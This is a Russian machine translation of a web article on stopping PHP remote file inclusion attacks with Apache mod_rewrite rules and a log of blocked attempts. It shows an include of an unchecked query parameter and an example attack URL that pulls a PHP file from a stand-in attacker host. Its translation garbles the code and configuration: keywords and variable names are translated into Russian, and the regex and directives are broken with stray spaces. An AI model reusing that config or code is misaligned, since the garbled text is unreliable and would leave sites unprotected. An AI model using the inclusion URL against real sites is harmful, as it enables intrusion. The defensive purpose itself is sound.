..


Рекламные ссылки

Используя mod_rewrite, чтобы предотвратить включение удаленных файлов

Статья, написанная Клаудио Гарау

Одна из самых частых атак пострадали веб-сайтами осуществляется через попытку включить файлов, содержащих вредоносный код, теоретически говоря атаки очень прост в исполнении, сделать это только потому, что файл, содержащий вредоносный код и ввести URL браузера.

Этот тип атаки, известный технический термин для дистанционного включения файла или с простым сокращением от радиопомех, часто ассоциируется с режимом называют вторжение XSA (Cross-Server атаки) обычно делается, чтобы поставить под угрозу безопасность веб-сайтов если не веб-сервер, фактор, который делает его еще более опасным для RFI.

Для запуска атак RFI, атакующий должен "память" в рамках приложения, в котором, чтобы сделать его включение удаленно, это "пространство", как правило, "дыра" (ошибка) безопасности, что делает его уязвимым сценарий.
Классический случай утечки чувствительных к RFI связано с проходящей через страницу имен переменных, просто простой кусок кода, как это поставит под угрозу применения:

 



 # Включите файлы через строку запроса переменную, переданную через







 включают в себя ($ _GET ['страница']);

 
В коде мы неопределенной переменной, или, скорее, должны быть определены в соответствии с параметрами передается через строку запроса, например, если прямую ссылку на страницу, содержащую предлагаемый перечень будет выглядеть следующим образом:
 



 http://www.sito.com/index.php?pagina=news.php

 
Значение переменной $ страницу равна "Новости" нападение на это приложение может быть выполнена таким образом:
 



 http://www.sito.com/index.php?pagina=http://www.attacco.com/x.php

 
Файл "x.php", в случае успешной атаки, может содержать любой тип вредоносного кода и привести к повреждению гораздо более существенные и окончательным, чем простота атака может быть сделано, чтобы думать.

К счастью, Есть некоторые оборонной техники, которые могут быть использованы для предотвращения таких нападений, в ходе этого краткого обсуждения мы будем анализировать, основанной на URL переписать модуль (mod_rewrite), предоставляемые веб-серверу, которые могут быть использованы методы другое.

Один из самых классических для передачи команд на веб-сервер Apache является использование классика. Htaccess файл, который будет включен в папку, которую нужно защищать от нападений.

Первый метод, который мы используем, чтобы вставить простое правило в файле а Htaccess:






 RewriteCond% {QUERY_STRING} (.*)( HTTP | HTTPS | FTP): \ / \ /(.*)







 ^(.+)$ RewriteRule - [F]



Правило гласит, что сформулировано в строку запроса ("{QUERY_STRING}") не могут быть переданы аргументы, содержащие суффиксы "HTTP", "HTTPS" и "FTP" несмотря ни на что содержание предыдущей или следующей ("(.*)" ) параметров. В этом случае веб-сервер возвратит ошибку, типа 403 (запрещено).

Те, кто имеют возможность прямого доступа к конфигурационный файл Apache (httpd.conf), он может быть вставлен один контейнер, содержащий директивы могут иметь эффект, сравнимый с правилами, установленными prededentemente:






 # Убедитесь, что mod_rewrite доступен







 <IfModule Mod_rewrite.c>







 # Включить двигатель URL переписать

 





 RewriteEngine на

 





 # Мы установили наши правила против RFI







 RewriteCond% {QUERY_STRING} (.*)( HTTP | HTTPS | FTP): \ / \ /(.*)







 # Фильтр из возможных просьб о включении и разметки







 # Vraibile с окружающей средой [E = имя_переменной: значение]







 ^(.+)$ RewriteRule - [F, E = RFI: истинно]

 





 </ IfModule>

 





 # Creaimo журнал попыток RFI мы identficato







 # Ранее использовании "переменной окружения"







 CustomLog / имя_папки / rfi.log комбинированные окр = RFI



После написания директиву конфигурационного файла, необходимо сохранить изменения и перезапустить веб-сервера вступили в силу, обратите внимание, что в конце списка, так и вне контейнера был вставлен запрос для создания лог-файл предназначен для записи просьб дистанционного включения файлов, мониторинг этого маленького "блокирование отмечает RFI для атак", мы обнаружим, что попытки удаленного включения файлов для наших веб-сайтах менее необычным, чем верили.

В той же категории ...
E-Learning
Linux (курс) Linux (курс)
Полное руководство по открытым исходным кодом системы. От 49 €.
MySQL (курс) MySQL (курс)
Управление с открытым исходным кодом базы данных. С 39 €.
PHP (курс) PHP (курс)
Полный курс для создания динамических веб-сайтов. От 49 €.
Рекламные ссылки